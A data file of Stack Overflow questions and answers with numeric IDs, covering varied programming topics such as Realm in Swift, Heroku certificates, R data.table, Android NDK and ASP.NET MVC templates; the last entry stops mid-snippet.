33687723	0	 <p>Here is my solution. use unsafeBitCast to avoid cast fail warning.</p> <pre><code>extension Object { func toDictionary() -&gt; [String:AnyObject] { let properties = self.objectSchema.properties.map { $0.name } var dicProps = [String:AnyObject]() for (key, value) in self.dictionaryWithValuesForKeys(properties) { if let value = value as? ListBase { dicProps[key] = value.toArray() } else if let value = value as? Object { dicProps[key] = value.toDictionary() } else { dicProps[key] = value } } return dicProps } } extension ListBase { func toArray() -&gt; [AnyObject] { var _toArray = [AnyObject]() for i in 0..&lt;self._rlmArray.count { let obj = unsafeBitCast(self._rlmArray[i], Object.self) _toArray.append(obj.toDictionary()) } return _toArray } } </code></pre>
31838746	0	 <p>Are you actually typing <code>heroku certs:add PEM KEY</code>? </p> <p>If so you need to replace the words PEM KEY with the filename of your PEM key...</p> <p>e.g.</p> <p><code>heroku certs:add my-site.pem</code></p> <p>The PEM key file is a certificate generated by you or a certificate authority.</p>
20461089	0	How can I control the source port of a TCP packet? <p>To test my implementation of a NAT, I want to send TCP packets from one internal host to two different external hosts, and make sure that the source port for both streams of packets that leave the NAT have the same source port. How can I control the source port? wget uses different source ports for separate TCP connections.</p>
5686902	0	 <p>It is a formatted string where <code>%s</code> is a placeholder. I suspect that $sql is handed to <a href="http://php.net/sprintf">sprintf</a> to transform it into a real query. Example:</p> <pre><code>$name = 'posts'; $sql = "SELECT * FROM page_table WHERE page_name = '%s' LIMIT 1"; $formattedSql = sprintf($sql, $name); </code></pre> <p>This will generate a query looking like:</p> <pre><code>SELECT * FROM page_table WHERE page_name = 'posts' LIMIT 1 </code></pre> <p>This is very useful when you don't want to fiddle around with quotes and doublequotes.</p>
18109569	0	 <p>I'd use <code>find</code> + <code>egrep</code> to filter, then <code>sed</code> to build the name of the destination directory. </p> <pre><code>cd /src IMAGES=`find . -type f -name '*.png' -print | egrep '^./[0-9]{4}-[0-9]{2}-[0-9]{2}-.+.png$'` for IMG in $IMAGES; do # optimize here DIR=`echo $IMG | sed -E 's/^\.\/([0-9]{4})-([0-9]{2})-[0-9]{2}-.+.png/\1\/\2/'` mkdir -p /dest/$DIR mv /src/$IMG /dest/$DIR/ done </code></pre>
38877689	0	 <p>Starting from Outlook 2013 you can reorder folders however you like and Outlook would remember the order. The key property is <code>PR_SORT_POSITION</code>. Here’s the definition:</p> <blockquote> <h1>define PR_SORT_POSITION PROP_TAG( PT_BINARY, 0x3020)</h1> </blockquote> <p>Outlook will use this property as part of it’s sort order when requesting folders from a provider, so it’s important that your provider can handle sorting on a binary property – or can fake it when asked to sort by this property. Outlook will also use this property directly when deciding where to insert nodes in the visible tree, so it’s also important that your provider can return this property when Outlook looks for it on a folder.</p> <p>There’s a second property Outlook will use for custom sort ordering:</p> <blockquote> <h1>define PR_SORT_PARENTID PROP_TAG( PT_BINARY, 0x3021)</h1> </blockquote> <p>As the name suggests, this property stores an entry ID which can be used to sort a folder under a different node than it’s natural parent. Normally, a folder will be sorted under the folder represented by <code>PR_PARENT_ENTRYID</code>. This property allows you to suggest a different parent for display.</p> <p>By presetting these properties appropriately, you can direct Outlook in how you wish your provider’s folders to be sorted. And if you allow Outlook to write to these properties, you can preserve whatever sort order your users desire.</p> <p>So, theoretically you can set these properties from VBA. The <a href="https://msdn.microsoft.com/en-us/library/office/ff869735.aspx?f=255&amp;MSPPError=-2147217396" rel="nofollow">PropertyAccessor</a> class can help you with such tasks. Also you may consider using a low-level code if you face with any restrictions from OOM, so any wrappers around Extended MAPI allows to bridge the gap (for example, Redemption).</p>
17258945	0	Using Auth with Endpoints <p>I defined a simple API using Google Cloud Endpoints:</p> <pre><code>@Api(name = "realestate", version = "v1", clientIds = { com.google.api.server.spi.Constant.API_EXPLORER_CLIENT_ID }, scopes = { "https://www.googleapis.com/auth/userinfo.email", "https://www.googleapis.com/auth/userinfo.profile" }) public class RealEstatePropertyV1 { @ApiMethod(name = "create", path = "properties", httpMethod = HttpMethod.POST) public void create(RealEstateProperty property, User user) throws UnauthorizedException { if (user == null) { throw new UnauthorizedException("Must log in"); } System.out.println(user.getEmail()); } } </code></pre> <p>Then I try to test it using the <code>API explorer</code>. I activated OAuth 2.0. But when I execute the request, the <code>User</code> object is <code>null</code>.</p> <pre><code>Jun 23, 2013 10:21:50 AM com.google.appengine.tools.development.DevAppServerImpl start INFO: Dev App Server is now running Jun 23, 2013 10:22:42 AM com.google.api.server.spi.SystemServiceServlet init INFO: SPI restricted: true Jun 23, 2013 10:22:43 AM com.google.api.server.spi.WebApisUserService getCurrentUser WARNING: getCurrentUser: clientId not allowed Jun 23, 2013 10:22:43 AM com.google.api.server.spi.SystemService invokeServiceMethod INFO: cause={0} com.google.api.server.spi.response.UnauthorizedException: Must log in at com.realestate.api.v1.RealEstatePropertyV1.create(RealEstatePropertyV1.java:44) </code></pre>
31306470	0	Show PleaseWait Popup in Catel Orchestra + MahApps.Metro <p>I am trying to show a PleaseWait popup in a Orchestra app the same way it is shown in Catel without Orchestra but im unable to do so. I know that the PleaseWaitService shows the progress and text in a status bar on the bottom of the window, but is does orchestra have something similar to what Catel has?</p>
32434893	0	 <p>I agree with the comment from Korri above, in that you could benefit from taking inspiration from existing frameworks.</p> <p>Personally, this sort of directory structure feels right, to me.</p> <pre><code>. |-- composer.json |-- gulpfile.js |-- package.json |-- changelog.md |-- readme.md |-- /src (This is the API code that *I'm* responsible for, and that I *own*.). | |-- /app | | |-- /controllers | | |-- /models | | `-- &lt;other_framework_stuff&gt; | /public (Keeping this outside of the src dir, means that you can give this to your front-end devs without needing to have the entire codebase). | | |-- /styles | | |-- /images | | |-- /js | /config (Put all configuration files outside of the src scope, so you can keep it outside of source control) | /build (CI build related configuration) | | |--phpcs.xml | | |--phpdocx.xml |-- /tests (separating out your tests in this way can help you run tests separately, more easily) | | |--acceptance | | |--integration | | |--unit |-- /vendor (Depenedencies installed via Composer) </code></pre> <p>Really, there's no community driven correct answer to your question. The correct answer is specific to <em>your</em> business, the team <em>you</em> work in, and the project itself. </p> <p>I'd never put the <code>/vendor</code> directory within your <code>/src</code> directory - because you don't <em>own</em> it. You're not responsible for the changes to the code within your project's dependencies, so it should be left in its own scope outside of your projects walls.</p> <p>With <a href="http://www.php-fig.org/psr/psr-4/" rel="nofollow">PSR-4</a> autoloading, it really doesn't matter too much about your directory structure, it can be changed easily at any time, with no impact on your code. So, experiment and see what <em>feels</em> right for you.</p>
17473607	0	 <p>This should work for you. Add this in your .htaccess file.</p> <pre><code>RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^([^/]+) /?action=$1&amp;%{QUERY_STRING} [L] </code></pre>
3331940	0	 <p>Thanks to the commenters for teasing out the answer details.</p> <p>MVC's default EditorFor "master" template, Object.ascx, has an if statement in place to prevent this from happening.</p> <p>To change this behavior you need to replace the base /EditorTemplates/Object.ascx template with your own. This is a good replica of the template baked into MVC:</p> <pre><code>&lt;%@ Control Language="C#" Inherits="System.Web.Mvc.ViewUserControl" %&gt; &lt;% if (Model == null) { %&gt; &lt;%= ViewData.ModelMetadata.NullDisplayText %&gt; &lt;% } else if (ViewData.TemplateInfo.TemplateDepth &gt; 1) { %&gt; &lt;%= ViewData.ModelMetadata.SimpleDisplayText %&gt; &lt;% } else { %&gt; &lt;table cellpadding="0" cellspacing="0" border="0"&gt; &lt;% foreach (var prop in ViewData.ModelMetadata.Properties.Where(pm =&gt; pm.ShowForDisplay &amp;&amp; !ViewData.TemplateInfo.Visited(pm))) { %&gt; &lt;% if (prop.HideSurroundingHtml) { %&gt; &lt;%= Html.Display(prop.PropertyName) %&gt; &lt;% } else { %&gt; &lt;tr&gt; &lt;td&gt; &lt;div class="display-label" style="text-align: right;"&gt; &lt;%= prop.GetDisplayName() %&gt; &lt;/div&gt; &lt;/td&gt; &lt;td&gt; &lt;div class="display-field"&gt; &lt;%= Html.Display(prop.PropertyName) %&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;% } %&gt; &lt;% } %&gt; &lt;/table&gt; &lt;% } %&gt; </code></pre> <p>This line:</p> <pre><code>&lt;% } else if (ViewData.TemplateInfo.TemplateDepth &gt; 1) { %&gt; </code></pre> <p>tell the template to only go down a single level of your object graph. Simply replace the 1 with 2 or remove it entirely to change how far MVC will drill down.</p> <p>More details about this template can be found here: <a href="http://bradwilson.typepad.com/blog/2009/10/aspnet-mvc-2-templates-part-4-custom-object-templates.html" rel="nofollow noreferrer">http://bradwilson.typepad.com/blog/2009/10/aspnet-mvc-2-templates-part-4-custom-object-templates.html</a></p> <p>( man, I should create a macro to linking to Brad Wilson's stuff, I do it all the time ) ;)</p>
3658926	0	 <p>On way to ensure that your entities are not cached is to clear the session with <code>ISession.Clear()</code>. Also you can evict individual entities by calling <code>ISession.Evict(object entity)</code>.</p> <p>If you not sure of what is happening in your application, consider a profiling tool such as <a href="http://nhprof.com/" rel="nofollow noreferrer">nhprof</a>.</p> <p><em>Quick note: using a session for the lifetime of a dialog can be handy in small applications with no concurrency problems, but you will get in trouble on the long run. A session should be opened late, and closed early.</em></p>
40039403	0	 <p>Run <code>list</code> to show all the jobs, then use the jobID/applicationID in the appropriate command.</p> <p>Kill mapred jobs:</p> <pre><code>mapred job -list mapred job -kill &lt;jobId&gt; </code></pre> <p>Kill yarn jobs:</p> <pre><code>yarn application -list yarn application -kill &lt;ApplicationId&gt; </code></pre>
8749705	0	Facebook: where is location of photo in graph <p>Since we can now add location to individual photo in Facebook, does anyone know how to access that piece of information on the graph?</p> <p>For example, at this link: <a href="https://developers.facebook.com/docs/reference/api/" rel="nofollow">https://developers.facebook.com/docs/reference/api/</a> if I look at my News Feed graph, I see the recent photos I've uploaded with location.</p> <p>But if I look at Photo Tags or the Photo API, nothing is said about the location.</p> <p>1.) Can someone explain to me why is that?</p> <p>2.) How do I get all my geo-referenced photos then? </p>
39433144	0	 <p>Firs of all you will need to add a <strong>Clicklistener</strong> for every object inside for ReRecyclerView . </p> <p>you will need to add this code in your adapters :</p> <pre><code>private static MyClickListener myClickListener; . . public void setOnItemClickListener(MyClickListener myClickListenerHolder) { myClickListener = myClickListenerHolder; } . . public interface MyClickListener { void onItemClick(int position, View v); } </code></pre> <p>and in your <strong>cardView</strong> ClickListener add :</p> <pre><code>holder.mCardView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { // removes the cardviews that was updated from the myClickListener.onItemClick(position,view); } }); </code></pre> <p>now at <strong>MainActivity.java</strong> you can control your objects clicks by adding them in <strong>onResume</strong> at your main .</p> <p>example: </p> <pre><code>RecyclerView.Adapter SecondAdapter, displayRecyclerAdapter; RecyclerView displayRecyclerView= (RecyclerView) findViewById(R.id.my_recycler_view); . . @Override protected void onResume() { super.onResume(); ((AnswerRecyclerViewAdapter) SecondAdapter).setOnItemClickListener(new AnswerRecyclerViewAdapter .MyClickListener() { @Override public void onItemClick(int position, View v) { //from here you can send data to your other RecyclerView like this displayRecyclerAdapter = new displayRecyclerAdapterClass(Context,SomeString); displayRecyclerView.setAdapter(displayRecyclerAdapter); } }); } </code></pre> <p>i hope this could help you ^_^</p>
28858281	0	 <p>Include <code>email</code> in your list of OAuth scopes. Then, in the token you get back, there will be a <code>hd</code> attribute if it's a Google Apps account. If the <code>hd</code> attribute is not present, its' a consumer account. Be aware that it's possible to create a consumer account that has an address of something other than @gmail.com or @googlemail.com. For example, I can create a consumer account with the address jsmith@yahoo.com or jsmith@acme.com as long as I can get email to those addresses. Thus the need to check <code>hd</code> instead of depending on the domain name.</p>
35500985	0	Allow .SDcols to vary with grouping variable in data.table <p>Is it allowable to have <code>.SDcols</code> vary with the <code>by</code> grouping variable? I have the following situation, where I would like to change <code>.SDcols</code> to different columns for each year. The values for the <code>.SDcols</code> are in one data.table, while I am trying to apply a function to the <code>.SD</code> in another table using these values.</p> <p>Quite likely I am missing the obvious approach and doing this wrong, but this is what I was attempting,</p> <pre><code>## Contains the .SDcols applicable to each year dat1 &lt;- data.table( year = 1:4, vals = lapply(1:4, function(i) letters[1:i]) ) ## Make the sample data (with NAs) set.seed(1775) dat2 &lt;- data.table( year = sample(1:4, 10, TRUE) ) dat2[, letters[1:4] := replicate(4, sample(c(NA, 1:5), 10, TRUE), simplify=FALSE)] ## Goal: Sum up the columns in the corresponding .SDcols for each year ## Attempt, doesn't work -- I think b/c .SDcols must be fixed? dat2[, SUM := rowSums(.SD, na.rm=TRUE), by=year, .SDcols=unlist(dat1[year == .BY[[1]], vals])] ## Desired result, by simply iterating through each possible year for (i in 1:4) { dat2[year==i, SUM := rowSums(.SD, na.rm=TRUE), .SDcols=unlist(dat1[year == i, vals])] } dat2[] # year a b c d SUM # 1: 1 3 1 5 1 3 # 2: 2 1 3 3 1 4 # 3: 1 5 4 3 NA 5 # 4: 4 1 NA 4 5 10 # 5: 2 2 2 2 NA 4 # 6: 2 NA 3 3 NA 3 # 7: 4 2 3 2 NA 7 # 8: 1 2 NA 5 4 2 # 9: 2 3 3 5 1 6 # 10: 3 NA 4 2 NA 6 </code></pre>
10946587	0	 <p>Debugging C++ in Eclipse: </p> <p><a href="http://www.youtube.com/watch?v=azInZkPP56Q" rel="nofollow">http://www.youtube.com/watch?v=azInZkPP56Q</a></p>
21477408	0	 <p><code>llvm-config</code> is not adding the link option for the <code>Terminfo</code> library. Add</p> <pre><code>-ltinfo </code></pre> <p>To link in the library and all should be well.</p>
16497020	0	.Net MVC binding dynamic Type to a Model at runtime <p>I have a slightly long conceptual question I'm wondering if somebody could help me out with. </p> <p>In MVC I've built a website which builds grids using <a href="http://demos.kendoui.com/web/grid/index.html" rel="nofollow">kendoui's framework</a>. </p> <p>All the grids on my website are constructed exactly the same except for the model they use and the CRUD methods that need to be implemented for each model. I set things up where each Model implement an interface for CRUD methods like below to get the logic all in one place.</p> <pre><code>//Actual interface has variables getting passed public interface IKendoModelInterface { void Save(); void Read(); void Delete(); } public class Model1: IKendoModelInterface { [Key] public int IdProperty1 { get; set; } public int SomeProperty2 { get; set; } public string SomeProperty3 { get; set; } public void Save(){ //Implement Save } public void Read(){ //Implement Read } public void Delete(){ //Implement Delete } } </code></pre> <p>Then to speed up the writing of all the scaffolding Action methods needed to get the grids to work I created an abstract Controller that can call the interface methods of the Model that gets passed into it. </p> <pre><code> //Implement the AJAX methods called by the grid public abstract class KendoGridImplController&lt;T&gt; : Controller where T : class, IKendoModelInterface { // Method called from kendo grid public virtual ActionResult Create([DataSourceRequest] DataSourceRequest request, [Bind(Prefix = "models")]IEnumerable&lt;T&gt; createdRecords) { //Invoke Create Method for Model and return results } public virtual ActionResult Read([DataSourceRequest]DataSourceRequest request, int Id) { //Invoke read method for model and return results } //Update and Delete also implemented.. } </code></pre> <p>Then I just need a Controller per model that implements the abstract controller above passing in the type of Model being used.</p> <pre><code> public class ResponsibilityMatrixController : KendoGridImplController&lt;Model1&gt; { //Set up the page the grid will be on public ActionResult Index(int id) { return View("SharedGridView", id); } //Can override abstract methods if needed but usually won't need to } </code></pre> <p>I'm wondering if I can take this one step further or if I've reached the end of the road. To me it just seems like more repeated code if I have to create a controller per Model that does nothing but pass in the type to the abstract controller and calls the same View. </p> <p>I attempted for quite a while yesterday to figure out if I could dynamically assign the type to the abstract controller. I setup something where I was sending back the type of model via strings and I could still invoke the methods needed. Where it failed, was that the mapping could no longer be done on any of the controller actions by default since the type isn't known at compile time. eg </p> <pre><code>public virtual ActionResult Create([DataSourceRequest] DataSourceRequest request, [Bind(Prefix = "models")]IEnumerable&lt;T&gt; createdRecords) </code></pre> <p>createdRecords can't be bound like this if T that's passed in is an interface and not the Model itself and I've found no real way to map the form data to an instance of a type that isn't known at compile time. </p> <p>I'm wondering if there's an easy way to do this mapping between an instance of the type of object getting passed in that I can figure out at runtime, if there's some other way to set this up that I'm overlooking or if both those things are going to be way too much work and I should just not attempt something like this and build a controller per model like I do now? </p>
34853838	0	 <p>Use node.js and execute your script using Runtime.exec(). you would run node on this or you can go for Rhino scripting engine to envoke methods in .js file from within a java class. Hope that helped.</p>
3751567	0	 <p>I find <a href="http://colorpowered.com/colorbox/" rel="nofollow noreferrer">ColorBox</a> to be the best jQuery extension for this.</p>
17197644	0	How to determine original folder in SVN. <p>I just realized that I accidentally copied a folder from one place to another. My problem is that I dont remember which folder is the original and which is they copy. I mucked around in both folders since then, so I cant use the date modified. How can I use svn to figure out which folder is the original?</p>
30353771	0	 <pre><code>class Parent1(object): def on_start(self): print('do something') class Parent2(object): def on_start(self): print('do something else') class Child(Parent1, Parent2): def on_start(self): super(Child, self).on_start() super(Parent1, self).on_start() c = Child() c.on_start() do something do something else </code></pre> <p>Or without super:</p> <pre><code>class Child(Parent1, Parent2): def on_start(self): Parent1.on_start(self) Parent2.on_start(self) </code></pre>
20711262	0	How to ignore the focus of a cell in gridfieldmanager? <p>i just made this example for the sake of my question.</p> <pre class="lang-java prettyprint-override"><code>public MyScreen() { setTitle("GridFieldManager"); GridFieldManager grid2 = new GridFieldManager(1,2,GridFieldManager.FIXED_SIZE); add(grid2); String[] choice={"1","2","0"}; ObjectChoiceField menu=new ObjectChoiceField(null,choice); //grid.add(lol); grid2.add(new LabelField("Productos_",NON_FOCUSABLE)); grid2.add(menu); } </code></pre> <p>For some reason i still can focus the labelfield even when i said it was non focusable (<code>Field.NON_FOCUSABLE</code>). </p> <p>Note: Just to let you know, i'm using a label + objectchoicefield so i can have total control of the properties of that label, since i found troublesome changing the color and font from the label that objectchoicefield has.</p> <p>In this picture you can see how the focus is on the <code>LabelField</code>. i just want to focus the objectchoicefield list.</p> <p><img src="https://i.stack.imgur.com/qXIjt.png" alt="enter image description here"></p>
16162881	0	WPF: Drawing normalized polygons that resize to fit their container <p>I'm trying to create a usercontrol that is capable of drawing polygons on the screen. These polygons have points all between 0,0 and 1,1 (normalized). When drawing, the polygon should fill the space given to it. As such, a value of 1,1 would correspond to width,height in the container.</p> <p>I've tried applying renderTransforms, but that results in the line widths getting scaled as well. The line widths should be the same (this is vectorized polygon information I'm trying to display).</p> <p>Can anyone think of the best way to go about doing this?</p> <p>Thanks</p>
10707425	0	 <p>Found it,</p> <p>The answer is no :( it's not possible...</p> <p>The only work around I did, is to create new MyWishClass and pass myDynamicClass, to him, so he is basically warping him.</p>
28745120	0	unable to watch java local class instance in eclipse <p>Here is a small sample:</p> <pre><code>public class LocalClassSample { public static void main(String[] args) { class Utils { public void printHello(String name) { System.out.println("Hello " + name); } public String outHello(String name) { return "hello " + name; } } Utils util = new Utils(); util.printHello("World"); } } </code></pre> <p>I put a break point at the last line. I am able to view util in the Variables window...</p> <p><img src="https://i.stack.imgur.com/xPM3O.png" alt="enter image description here"></p> <p>I try to view the same variable in the expressions window...it is unable to evaluate:</p> <p><img src="https://i.stack.imgur.com/216fJ.png" alt="enter image description here"> Update:</p> <p>Even tried inspecting the variable in the Display View...it does not evaluate: <img src="https://i.stack.imgur.com/RG3ty.png" alt="enter image description here"></p>
27113944	0	NDK: Native method not found <p>I'm using Android NDK for the first time. What I want is to get a string from a native C++ method and use it as text in a textview. I have no idea where is the problem..</p> <p><strong>My code</strong></p> <p>Java: package: package com.example.nativetest;</p> <pre><code>@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); init(); this.textView.setText(stringFromJNI()); } public native String stringFromJNI(); static { System.loadLibrary("CascadeClassifier"); } </code></pre> <p>C++:</p> <pre><code>#include &lt;string.h&gt; #include &lt;jni.h&gt; extern "C" { JNIEXPORT jstring JNICALL Java_com_example_nativetest_MainActivity_stringFromJNI (JNIEnv *env, jobject obj) { return env-&gt;NewStringUTF("Hello from C++ over JNI!"); } } </code></pre> <p><strong>LogCat</strong></p> <pre><code>11-24 22:41:58.646: E/AndroidRuntime(12950): FATAL EXCEPTION: main 11-24 22:41:58.646: E/AndroidRuntime(12950): java.lang.UnsatisfiedLinkError: Native method not found: com.example.nativetest.MainActivity.stringFromJNI:()Ljava/lang/String; 11-24 22:41:58.646: E/AndroidRuntime(12950): at com.example.nativetest.MainActivity.stringFromJNI(Native Method) 11-24 22:41:58.646: E/AndroidRuntime(12950): at com.example.nativetest.MainActivity.onCreate(MainActivity.java:31) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.Activity.performCreate(Activity.java:5133) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1087) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2225) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2311) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.ActivityThread.access$600(ActivityThread.java:149) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1293) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.os.Handler.dispatchMessage(Handler.java:99) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.os.Looper.loop(Looper.java:137) 11-24 22:41:58.646: E/AndroidRuntime(12950): at android.app.ActivityThread.main(ActivityThread.java:5214) 11-24 22:41:58.646: E/AndroidRuntime(12950): at java.lang.reflect.Method.invokeNative(Native Method) 11-24 22:41:58.646: E/AndroidRuntime(12950): at java.lang.reflect.Method.invoke(Method.java:525) 11-24 22:41:58.646: E/AndroidRuntime(12950): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:739) 11-24 22:41:58.646: E/AndroidRuntime(12950): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:555) 11-24 22:41:58.646: E/AndroidRuntime(12950): at dalvik.system.NativeStart.main(Native Method) </code></pre>
19716212	0	 <p>Is this an Air app? Because if so you can use this:</p> <pre><code>var path:File = new File("c:\kdc\kdc.exe"); path.openWithDefaultApplication(); </code></pre> <p>If I helped please mark as answered!</p>
6675402	0	 <p><code>if data["location"] &amp;&amp; data["location"]["country"] &amp;&amp; data["location"]["country"]["code]</code></p> <p>Ruby's <code>&amp;&amp;</code> operator is a short circut operator, so if the first operand is false, it will stop processing the rest of the condition. In addition. Any object that is not <code>nil</code>, is (for boolean purposes) <code>true</code>, so if the key exists, then it is <code>true</code></p>
29030889	0	Rounding a variable to an integer <p>I have a calculation like this: 3 * 12300 / 160. The result is: 230.625. But I just want the integer part, 230.</p> <p>In C, this can be done using something like this: <code>int MyVar = (int)3*12300/160;</code> </p> <p>Is there a way in VBA (With MS-Access) for force the result to be an integer? </p>
8426291	0	Android-World Clock Widget analog <p>I am planning to create a world clock widget in android. The clock should show the selected country's time as an analog clock widget. But I'm feeling difficulties as I'm a beginner in android. </p> <p>My widget.xml file contains the following:-</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/Widget" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_margin="8dip" android:background="@drawable/myshape" &gt; &lt;AnalogClock android:id="@+id/AnalogClock" android:layout_width="wrap_content" android:layout_height="wrap_content" android:dial="@drawable/widgetdial" android:hand_hour="@drawable/widgethour" android:hand_minute="@drawable/widgetminute"/&gt; </code></pre> <h2> </h2> <p>I am using the following configuration activity for my widget:- (To display the city list) package nEx.Software.Tutorials.Widgets.AnalogClock;</p> <pre><code>import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.Calendar; import android.app.Activity; import android.app.PendingIntent; import android.app.ProgressDialog; import android.appwidget.AppWidgetManager; import android.content.Intent; import android.os.Bundle; import android.content.Context; import android.content.SharedPreferences; import android.util.Log; import android.view.View; import android.view.ViewGroup.LayoutParams; import android.widget.AdapterView; import android.widget.AnalogClock; import android.widget.ArrayAdapter; import android.widget.EditText; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ListView; import android.widget.RemoteViews; import android.widget.TextView; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; public class ConfigureApp extends Activity { DateFormat df; private ListView cityList; public static String[][] citylist = new String[1242][10]; String[] cities = new String[1242]; String field[] = new String[20]; String list[][] = new String[1242][10]; String country = ""; String line = null; int row = 0; int col = 0; // Variables for list view population String city = ""; int position = 0; public int[] listArray = new int[1242]; public static int len = 0; public String[][] adapterCityList = new String[1242][3]; // Variables for passing intent data public static final String citieslist = "com.world.citieslist"; AppWidgetManager awm; Context c; int awID; @Override public void onCreate(Bundle icicle) { super.onCreate(icicle); // Set the result to CANCELED. This will cause the widget host to cancel // out of the widget placement if they press the back button. setResult(RESULT_CANCELED); try { citylist = getCityList(); } catch (IOException e) { Log.e("Loading CityList", e.getMessage()); } for (int i = 0; i &lt; 1242; i++) { cities[i] = citylist[i][0]; } // Set the view layout resource to use. setContentView(R.layout.configure); c = ConfigureApp.this; Intent intent = getIntent(); Bundle extras = intent.getExtras(); if (extras != null) { awID = extras.getInt( AppWidgetManager.EXTRA_APPWIDGET_ID, AppWidgetManager.INVALID_APPWIDGET_ID); } else{ finish(); } awm = AppWidgetManager.getInstance(c); cityList=(ListView)findViewById(R.id.CityList); // By using setAdpater method in listview we an add string array in list. cityList.setAdapter(new ArrayAdapter&lt;String&gt; (this,android.R.layout.simple_list_item_1, cities)); // cityList.setOnItemClickListener(cityListListener); cityList.setOnItemClickListener(new AdapterView.OnItemClickListener() { public void onItemClick(AdapterView&lt;?&gt; av, View v, int pos, long id) { df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); String str = ((TextView) v).getText().toString(); RemoteViews remoteViews = new RemoteViews(c.getPackageName(), R.layout.widget); remoteViews.setTextViewText(R.id.mytext, str); remoteViews.setTextViewText(R.id.date, df.format(new Date())); Intent in = new Intent(c,clock.class); PendingIntent pi = PendingIntent.getActivity(c, 0, in, 0); remoteViews.setOnClickPendingIntent(R.id.Widget, pi); awm.updateAppWidget(awID, remoteViews); Intent result = new Intent(); result.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID,awID); setResult(RESULT_OK, result); finish(); } }); } private String[][] getCityList() throws IOException { Context context = getApplicationContext(); InputStream instream = context.getResources().openRawResource(R.raw.cities_final); // if file the available for reading if (instream != null) { // prepare the file for reading InputStreamReader inputreader = new InputStreamReader(instream); BufferedReader buffreader = new BufferedReader(inputreader); while ((line = buffreader.readLine()) != null) { field = line.split(","); for (String x : field) { list[row][col] = x; col++; if (x != null) { country = x; } } list[row][2] = country; row++; col = 0; } for (int i = 0; (i &lt; list.length); i++) { for (int j = 0; (j &lt; 3); j++) { if (j == 1) { list[i][j] = list[i][j].substring(0, 6); } } } } return list; } </code></pre> <p>}</p> <p>Can I use my own custom view in the widget, apart from analog clock? Or is there any other way to show the clock? like use the Imageview as the clock face and to draw the dial according to the time? </p> <p>Please help me regarding this.!!!:(</p>
15850568	0	 <p>Have you tried giving the full path to the mysqldump executable?</p>
21807011	0	 <p>This is a standard way of traversing a <a href="http://en.wikipedia.org/wiki/Linked_list" rel="nofollow">linked list</a>. The loop terminates when p evaluates to false. In C anything that is not 0 evaluates to true. P is a pointer to a node of a linked list, it will become false when it is NULL. You can re-write this in a more clear fashion like this:</p> <pre><code>process_t *p; for(p = j-&gt;first_process; p != NULL; p = p-&gt;next) { ... } </code></pre>
24479427	0	 <p>In this code you always display your query (you have echo at the beginning).</p> <p>In my opinion there are only 2 options:</p> <ol> <li><p>You use some type of PHP cache. If you do, you probably won't see <code>SELECT MAX(version) as version FROM stats</code> every time you refresh the page</p></li> <li><p>You don't display $v value right after this code is being executed. <code>$v</code> variable is for example used often in loops so it's quite possible you change the value in some other part of your code and that's why it's always 10.</p></li> </ol> <p>So what you should do you should :</p> <pre><code>echo $sql = "SELECT MAX(version) as version FROM stats"; $result = mysql_query($sql); $rr=mysql_fetch_array($result); $v = $rr["version"]; echo $v; </code></pre> <p>And make sure you see messages each time you refresh your page. If it's not displayed it means you use cache, otherwise you should see correct value here.</p> <p>Of course, you also shouldn't use <code>mysql</code> functions any more because mysql extendsion is deprecated. You should use mysqli or PDO instead.</p>
28328309	0	 <pre><code>&lt;div ng-repeat="notMe in conversation.participants | filter:{user: { username: user.username } }"&gt; </code></pre> <p>Removed the [ ] and it works. </p>
19052308	0	 <p>You cannot make change event just by setting value from javascript. Here is a sample by using trigger.</p> <pre><code> &lt;script&gt; $(document).ready(function () { $(".tbAdd_Sowner").on('change', function () { var owner = $('.tbAdd_Sowner').val(); $('.tbAdd_Sphone').val(owner); }); $(".aGetID").on('click', function () { var tbOwner = $('.tbAdd_Sowner'); var hidden1 = $('.Hidden1'); var hidden2 = $('.Hidden2'); var hidden3 = $('.Hidden3'); GalModalTOCCDialog(hidden1, tbOwner, hidden2, hidden3); }); function GalModalTOCCDialog(Hidden1, tbAdd_Sowner, Hidden2, Hidden3) { $(tbAdd_Sowner).val(' ').trigger('change'); } $('.tbAdd_Sowner').change(function () { $(this).removeAttr('disabled'); }); }); &lt;/script&gt; </code></pre> <p>Here is your code, removing those validators</p> <pre><code>&lt;table&gt; &lt;tr&gt; &lt;td align="right"&gt;Secondary Owner &lt;/td&gt; &lt;td&gt; &lt;input id="Hidden1" type="hidden" value="1" class="Hidden1" /&gt; &lt;asp:TextBox ID="tbAdd_Sowner" OnTextChanged="tbAdd_Sowner_TextChanged" CssClass="tbAdd_Sowner" AutoPostBack="true" runat="server" Enabled="false" &gt;&lt;/asp:TextBox&gt; &lt;input id="Hidden2" type="hidden" class="Hidden2" /&gt; &lt;input id="Hidden3" type="hidden" class="Hidden3" /&gt; &lt;a href="javascript:void(0)" id="aGetID" class="aGetID" &gt;Get User ID&lt;/a&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td align="right"&gt;Secondary 